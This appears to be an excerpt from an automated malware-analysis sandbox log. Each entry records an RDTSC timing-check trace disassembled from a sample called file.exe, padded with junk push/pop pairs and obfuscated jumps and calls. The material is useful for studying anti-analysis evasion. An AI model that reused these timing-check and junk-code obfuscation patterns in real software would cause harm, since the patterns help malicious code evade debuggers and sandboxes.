Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76C14C second address: 76C22D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FDD98C55BF9h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c sub esi, dword ptr [ebp+122D3CB1h] 0x00000012 push 00000000h 0x00000014 xor edx, 77013484h 0x0000001a push 247A6513h 0x0000001f jmp 00007FDD98C55BF7h 0x00000024 xor dword ptr [esp], 247A6593h 0x0000002b mov edi, 233E586Ch 0x00000030 push 00000003h 0x00000032 add dword ptr [ebp+122D3378h], ebx 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ebx 0x0000003d call 00007FDD98C55BE8h 0x00000042 pop ebx 0x00000043 mov dword ptr [esp+04h], ebx 0x00000047 add dword ptr [esp+04h], 00000014h 0x0000004f inc ebx 0x00000050 push ebx 0x00000051 ret 0x00000052 pop ebx 0x00000053 ret 0x00000054 mov si, ax 0x00000057 pushad 0x00000058 mov si, DEBDh 0x0000005c movzx ebx, ax 0x0000005f popad 0x00000060 push 00000003h 0x00000062 js 00007FDD98C55BE6h 0x00000068 push EEBF8A9Eh 0x0000006d jng 00007FDD98C55BF2h 0x00000073 jnp 00007FDD98C55BECh 0x00000079 xor dword ptr [esp], 2EBF8A9Eh 0x00000080 and cl, 00000040h 0x00000083 lea ebx, dword ptr [ebp+12450B93h] 0x00000089 jns 00007FDD98C55BEAh 0x0000008f mov ecx, dword ptr [ebp+122D3C81h] 0x00000095 xchg eax, ebx 0x00000096 push eax 0x00000097 push edx 0x00000098 jmp 00007FDD98C55BF7h 0x0000009d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74B7C4 second address: 74B7F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDD98B6CD25h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDD98B6CD1Ah 0x00000014 push ecx 0x00000015 jmp 00007FDD98B6CD1Ah 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78ACFF second address: 78AD03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78AD03 second address: 78AD13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDD98B6CD16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78AD13 second address: 78AD60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BF8h 0x00000007 jmp 00007FDD98C55BF1h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007FDD98C55BF5h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78AECB second address: 78AEE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98B6CD23h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78AEE4 second address: 78AEFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007FDD98C55BEAh 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FDD98C55BE6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78AEFD second address: 78AF01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B187 second address: 78B19B instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDD98C55BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007FDD98C55BE6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B19B second address: 78B19F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B5A0 second address: 78B5A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B5A4 second address: 78B60D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD27h 0x00000007 jp 00007FDD98B6CD16h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 jnc 00007FDD98B6CD16h 0x00000016 pop esi 0x00000017 pushad 0x00000018 jmp 00007FDD98B6CD24h 0x0000001d jmp 00007FDD98B6CD25h 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 popad 0x00000026 pushad 0x00000027 jne 00007FDD98B6CD1Ch 0x0000002d push ecx 0x0000002e pushad 0x0000002f popad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B75B second address: 78B77D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BF8h 0x00000007 jnl 00007FDD98C55BE6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B927 second address: 78B931 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDD98B6CD16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B931 second address: 78B93B instructions: 0x00000000 rdtsc 0x00000002 je 00007FDD98C55BF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B93B second address: 78B961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98B6CD1Ah 0x00000009 pushad 0x0000000a jmp 00007FDD98B6CD25h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78BA9B second address: 78BAAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FDD98C55BE6h 0x0000000a pop esi 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78BAAB second address: 78BADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 je 00007FDD98B6CD16h 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop edi 0x0000000f jmp 00007FDD98B6CD28h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jng 00007FDD98B6CD16h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78BADE second address: 78BAF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDD98C55BF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78BAF9 second address: 78BB03 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDD98B6CD1Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7815EA second address: 7815F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74D318 second address: 74D31D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78C5D9 second address: 78C624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98C55BF9h 0x00000009 jmp 00007FDD98C55BF2h 0x0000000e popad 0x0000000f pop edx 0x00000010 jo 00007FDD98C55BFFh 0x00000016 pushad 0x00000017 jmp 00007FDD98C55BF1h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78CD35 second address: 78CD3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78CD3B second address: 78CD54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDD98C55BF3h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78CD54 second address: 78CD73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD98B6CD29h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78CD73 second address: 78CD84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BEDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792EA1 second address: 792EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792EA5 second address: 792EAB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794129 second address: 79416E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FDD98B6CD16h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007FDD98B6CD2Ch 0x00000016 pushad 0x00000017 jmp 00007FDD98B6CD1Fh 0x0000001c jne 00007FDD98B6CD16h 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C301 second address: 79C307 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C307 second address: 79C30B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C30B second address: 79C317 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B719 second address: 79B725 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B725 second address: 79B72F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDD98C55BE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B873 second address: 79B894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FDD98B6CD16h 0x0000000a jp 00007FDD98B6CD16h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 je 00007FDD98B6CD16h 0x0000001b jg 00007FDD98B6CD16h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B894 second address: 79B898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BB73 second address: 79BB79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BFC9 second address: 79BFCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BFCD second address: 79BFD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BFD7 second address: 79C016 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FDD98C55BF5h 0x00000014 pop edi 0x00000015 jmp 00007FDD98C55BF4h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C192 second address: 79C197 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C197 second address: 79C19C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D0CA second address: 79D0CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D0CE second address: 79D0EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDD98C55BF7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D0EF second address: 79D0F4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D656 second address: 79D65A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79D65A second address: 79D660 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79DA6E second address: 79DA73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79DB9E second address: 79DBA4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79DC81 second address: 79DC85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79E089 second address: 79E08D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A044F second address: 7A0473 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDD98C55BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FDD98C55BF4h 0x00000010 jmp 00007FDD98C55BEEh 0x00000015 popad 0x00000016 push eax 0x00000017 push ecx 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A0473 second address: 7A04CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007FDD98B6CD18h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 00000016h 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 mov si, bx 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push edi 0x00000029 call 00007FDD98B6CD18h 0x0000002e pop edi 0x0000002f mov dword ptr [esp+04h], edi 0x00000033 add dword ptr [esp+04h], 00000015h 0x0000003b inc edi 0x0000003c push edi 0x0000003d ret 0x0000003e pop edi 0x0000003f ret 0x00000040 movsx esi, di 0x00000043 push 00000000h 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 jo 00007FDD98B6CD18h 0x0000004e pushad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A0F18 second address: 7A0F82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 jne 00007FDD98C55BE8h 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007FDD98C55BE8h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ecx 0x00000032 call 00007FDD98C55BE8h 0x00000037 pop ecx 0x00000038 mov dword ptr [esp+04h], ecx 0x0000003c add dword ptr [esp+04h], 00000019h 0x00000044 inc ecx 0x00000045 push ecx 0x00000046 ret 0x00000047 pop ecx 0x00000048 ret 0x00000049 push eax 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007FDD98C55BEEh 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A0CC3 second address: 7A0CE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A0F82 second address: 7A0F8C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A0CE3 second address: 7A0CE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A0F8C second address: 7A0F90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1A23 second address: 7A1A7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jns 00007FDD98B6CD1Ah 0x00000010 nop 0x00000011 adc si, 0DCAh 0x00000016 push 00000000h 0x00000018 mov si, cx 0x0000001b mov edi, dword ptr [ebp+122D3B05h] 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push esi 0x00000026 call 00007FDD98B6CD18h 0x0000002b pop esi 0x0000002c mov dword ptr [esp+04h], esi 0x00000030 add dword ptr [esp+04h], 00000015h 0x00000038 inc esi 0x00000039 push esi 0x0000003a ret 0x0000003b pop esi 0x0000003c ret 0x0000003d xchg eax, ebx 0x0000003e push ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 push edx 0x00000042 pop edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A23A4 second address: 7A23A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A23A8 second address: 7A240D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D3627h], eax 0x0000000f push 00000000h 0x00000011 xor dword ptr [ebp+122D2BCFh], eax 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007FDD98B6CD18h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 mov esi, 1B7027ECh 0x00000038 mov dword ptr [ebp+122D2C21h], ebx 0x0000003e call 00007FDD98B6CD1Eh 0x00000043 mov esi, dword ptr [ebp+122D5D44h] 0x00000049 pop esi 0x0000004a xchg eax, ebx 0x0000004b push eax 0x0000004c push edx 0x0000004d push edi 0x0000004e push esi 0x0000004f pop esi 0x00000050 pop edi 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A491F second address: 7A492D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FDD98C55BE6h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AADD4 second address: 7AADDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AADDA second address: 7AADDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABD01 second address: 7ABD05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AADDE second address: 7AADFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007FDD98C55BF3h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ADC84 second address: 7ADD09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FDD98B6CD18h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007FDD98B6CD18h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c jmp 00007FDD98B6CD20h 0x00000031 mov dword ptr [ebp+122D3A86h], edx 0x00000037 push ecx 0x00000038 sub ebx, 3BE30C6Fh 0x0000003e pop ebx 0x0000003f push 00000000h 0x00000041 jne 00007FDD98B6CD16h 0x00000047 push 00000000h 0x00000049 push 00000000h 0x0000004b push ebp 0x0000004c call 00007FDD98B6CD18h 0x00000051 pop ebp 0x00000052 mov dword ptr [esp+04h], ebp 0x00000056 add dword ptr [esp+04h], 00000016h 0x0000005e inc ebp 0x0000005f push ebp 0x00000060 ret 0x00000061 pop ebp 0x00000062 ret 0x00000063 mov dword ptr [ebp+122D1D89h], ebx 0x00000069 xchg eax, esi 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d push edi 0x0000006e pop edi 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761553 second address: 761588 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98C55BF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007FDD98C55BF4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761588 second address: 7615AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD29h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7615AA second address: 7615B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7615B0 second address: 7615E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98B6CD1Eh 0x00000009 popad 0x0000000a jp 00007FDD98B6CD27h 0x00000010 jmp 00007FDD98B6CD1Fh 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 jp 00007FDD98B6CD24h 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B04AB second address: 7B04B5 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDD98C55BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B268A second address: 7B26C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDD98B6CD25h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c jmp 00007FDD98B6CD25h 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B0691 second address: 7B06B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDD98C55BF4h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007FDD98C55BE8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B26C2 second address: 7B26C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B06B5 second address: 7B06CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDD98C55BF1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B26C8 second address: 7B26CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
